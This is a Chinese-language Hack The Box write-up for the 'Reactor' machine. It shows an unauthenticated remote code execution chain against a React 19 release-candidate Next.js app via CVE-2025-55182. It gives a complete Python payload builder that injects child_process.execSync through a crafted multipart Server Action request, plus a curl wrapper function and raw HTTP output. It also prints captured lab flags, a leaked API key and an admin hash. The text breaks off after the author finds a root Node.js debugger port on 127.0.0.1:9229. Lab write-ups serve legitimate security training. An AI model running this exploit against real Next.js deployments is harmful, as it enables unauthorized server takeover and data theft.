HTB Reactor 机器的完整演练 — 利用 CVE-2025-55182 获取 shell,然后通过暴露的 Node.js 调试器获取 root 权限。附带截图的分步指南。
[!CAUTION] 剧透警告。 这是一份包含 flag 的完整通关攻略。如果你想自行攻克这台机器,请立即关闭本文,卡住时再回来。
| 字段 | 详情 |
|---|---|
| 名称 | Reactor |
| 操作系统 | Ubuntu 24.04 LTS (Noble) |
| 难度 | 中等 |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| 端口 | 22 (SSH), 3000 (Next.js) |
| 作者 | sonnycroco |
Reactor 的主题是一个名为 ReactorWatch 的核电站监控仪表盘。这台机器完全围绕两个串联起来的漏洞展开——没有猜测,没有误导分支,没有暴力破解。
攻击路径:一个预发布版的 React 19 构建暴露了严重的反序列化缺陷,仅需一次 HTTP 请求即可获得未授权远程代码执行。由此,一个以 root 运行的 Node.js 调试端口,通过一条 WebSocket 消息让你获得完整的系统访问权。
攻击链:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
node 身份四处探查在任何一台新机器上,第一件事都是找出当前开放的端口。进行一次包含服务检测的完整端口扫描,确保不会遗漏任何内容。
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

只有两个端口。现阶段我们还没有任何凭据,所以 SSH 是死路一条,端口 3000 才是目标。Nmap 已经告诉我们它是 Next.js 15.0.3,这是一个很好的突破口。
在向任何目标发起利用之前,我需要确切知道所有正在运行的组件的版本。HTTP 响应头已经揭示了 Next.js,但 React 版本才是关键细节。React 19 在很长一段时间内处于预发布状态,在稳定版发布之前存在一些严重问题。
拉取一个客户端 JavaScript 分块来检查:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
版本字符串中的 rc 就是铁证。这是 React 19 的发布候选(RC)构建,而非稳定版本。CVE 数据库证实:CVE-2025-55182 正是影响这个构建,CVSS 10.0。
顺带检查一下响应头中是否有中间件的线索:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
任何地方都没有 x-middleware-rewrite 响应头,这意味着没有安装 Next.js 中间件。这排除了 CVE-2025-29927(中间件绕过),值得注意,免得你在错误的方向浪费时间。
目前已知信息:
experimental.serverActions19.0.0-rc,受 CVE-2025-55182 影响
React 19 的 Server Components 引入了 Server Actions,这是客户端通过包含 Next-Action 头的 HTTP POST 即可调用的服务端函数。处理这些请求的 multipart 正文解析器存在一个关键缺陷:它会对名为 $1:__proto__:then 的引用类型进行不安全的反序列化。
通过构造一个将 _response._prefix 设为任意 JavaScript 的 multipart 正文,攻击者可以让该代码在服务器上被执行。随后,输出通过 Next.js 内部用于重定向的异常(NEXT_REDIRECT)被夹带出来,并最终以 URL 编码的形式出现在 x-action-redirect 响应头中。
任何带 Next-Action 头的 POST 到任何页面都会触发该漏洞。没有认证检查,没有特殊端点。只需向 / 发送 payload,你就进去了。
一个小型 Python 辅助脚本,将 shell 命令作为输入,构造 multipart payload,并写入磁盘供 curl 发送:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
为了让操作更有伪终端的感觉,将整个流程包装为一个 shell 函数:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
下面是原始 HTTP 交互。命令输出就明晃晃地位于重定向头中:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
我们以 node 服务账号身份进到了里面。没有认证,没有暴力破解,没有社会工程学,只有一次 HTTP POST。这就是 CVSS 10.0 在实际中的样子。

[!WARNING] 继续之前需要知道两件事:
execSync是同步的,会阻塞响应线程。不要用它来生成反向 shell,改用异步的exec(),否则服务器会挂起。NEXT_REDIRECT模板字符串会在换行处断裂。在输出进入 URL 之前,始终用paste -sd,将多行输出压平。
node 身份四处探查代码执行能力已经建立,下一步目标是了解环境:这台机器上有什么,哪些凭据散落各处,以及是否存在通往更高权限用户的明显路径。
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
磁盘上有一个 SQLite 数据库。看看里面有什么:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
一个带 MD5 哈希的管理员账户。用 John 配合 rockyou 字典跑了一遍,没有破解。没关系,一旦我们找到真正的提权路径,哈希破解就变得没有必要。先把它放到一边,继续推进。
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
有一个名为 engineer 的用户。用户 flag 就在其家目录中。
[!NOTE] 在这台机器的某些实例中,
/home/engineer/被设置为700权限,这意味着node服务账号无法直接读取它。如果遇到这种情况,别慌。第 6 步覆盖的 root 提权路径可以让你以 root 身份读取两个 flag。
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
如果你所在实例的 /home/engineer/ 被锁定,直接跳到第 6 步,以 root 身份获取两个 flag。
立足点已经建立,检查机器上正在运行的进程。完整的 ps aux 输出很长,因此过滤出所有与 Node.js 相关的内容:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
就是它。第二个 Node.js 进程以 root 身份运行,并且是用 --inspect 标志启动、绑定到 127.0.0.1:9229。这是一个 uptime 监控脚本,有人在启用 Node.js 调试器的情况下启动了它,然后就一直让它运行着。